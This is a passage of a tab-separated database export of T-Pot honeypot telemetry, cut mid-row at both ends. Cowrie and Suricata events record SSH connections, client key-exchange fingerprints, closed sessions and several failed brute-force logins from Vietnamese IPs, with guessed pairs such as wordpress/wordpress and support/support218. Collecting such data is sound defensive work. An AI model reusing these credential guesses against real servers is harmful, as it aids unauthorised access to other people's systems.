"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57674, "dest_port": 22, "timestamp": "2021-09-20T11:07:21.407330", "@timestamp": "2021-09-20T11:07:21.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22688	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:21.275431+03	2021-09-20 14:15:06.534497+03	{"_id": "MgbjAnwBvYTbRNuElwq1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3017dad45879", "@version": "1", "duration": 2.422236442565918, "timestamp": "2021-09-20T11:07:21.275431Z", "@timestamp": "2021-09-20T11:07:21.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22689	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.608531+03	2021-09-20 14:15:06.535499+03	{"_id": "MwbjAnwBvYTbRNuElwq1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [supp/rt] failed", "session": "bdbaa5b030cc", "@version": "1", "password": "rt", "username": "supp", "timestamp": "2021-09-20T11:07:21.608531Z", "@timestamp": "2021-09-20T11:07:21.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22690	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:22.012015+03	2021-09-20 14:15:06.53747+03	{"_id": "BgbjAnwBvYTbRNuElwqv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:60758 (192.168.176.2:22) [session: 3da3fe3d376f]", "session": "3da3fe3d376f", "@version": "1", "protocol": "ssh", "src_port": 60758, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.012015Z", "@timestamp": "2021-09-20T11:07:22.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22691	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.408036+03	2021-09-20 14:15:06.5385+03	{"_id": "EQbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "034a2a98d6d7", "@version": "1", "timestamp": "2021-09-20T11:07:21.408036Z", "@timestamp": "2021-09-20T11:07:21.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22692	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:21.474317+03	2021-09-20 14:15:06.540471+03	{"_id": "EgbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [support/support218] failed", "session": "cfe69188ff37", "@version": "1", "password": "support218", "username": "support", "timestamp": "2021-09-20T11:07:21.474317Z", "@timestamp": "2021-09-20T11:07:21.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22693	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.611587+03	2021-09-20 14:15:06.541471+03	{"_id": "EwbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6ad6a154165c", "@version": "1", "timestamp": "2021-09-20T11:07:21.611587Z", "@timestamp": "2021-09-20T11:07:21.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22694	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:22.050828+03	2021-09-20 14:15:06.542471+03	{"_id": "FAbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ca082dd3e488", "@version": "1", "duration": 2.439556121826172, "timestamp": "2021-09-20T11:07:22.050828Z", "@timestamp": "2021-09-20T11:07:22.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22695	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:22.182359+03	2021-09-20 14:15:06.544471+03	{"_id": "NAbjAnwBvYTbRNuEmgol", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 542381009615280, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37968, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.182359Z", "@timestamp": "2021-09-20T11:07:22.182Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22696	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:22.313472+03	2021-09-20 14:15:06.545472+03	{"_id": "NQbjAnwBvYTbRNuEmgol", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 787887782721483, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58944, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.313472Z", "@timestamp": "2021-09-20T11:07:22.313Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22697	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.64999+03	2021-09-20 14:15:06.546471+03	{"_id": "PgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54358 (192.168.176.2:22) [session: bb4ff764e05a]", "session": "bb4ff764e05a", "@version": "1", "protocol": "ssh", "src_port": 54358, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.649990Z", "@timestamp": "2021-09-20T11:07:22.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22698	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.274349+03	2021-09-20 14:15:06.547471+03	{"_id": "SQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [wordpress/wordpress] failed", "session": "034a2a98d6d7", "@version": "1", "password": "wordpress", "username": "wordpress", "timestamp": "2021-09-20T11:07:22.274349Z", "@timestamp": "2021-09-20T11:07:22.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22699	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.191467+03	2021-09-20 14:15:06.54847+03	{"_id": "TQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [teste/123456Brazil] failed", "session": "3a9028970e07", "@version": "1", "password": "123456Brazil", "username": "teste", "timestamp": "2021-09-20T11:07:23.191467Z", "@timestamp": "2021-09-20T11:07:23.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22700	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:22.297977+03	2021-09-20 14:15:06.55047+03	{"_id": "UgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3da3fe3d376f", "@version": "1", "timestamp": "2021-09-20T11:07:22.297977Z", "@timestamp": "2021-09-20T11:07:22.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 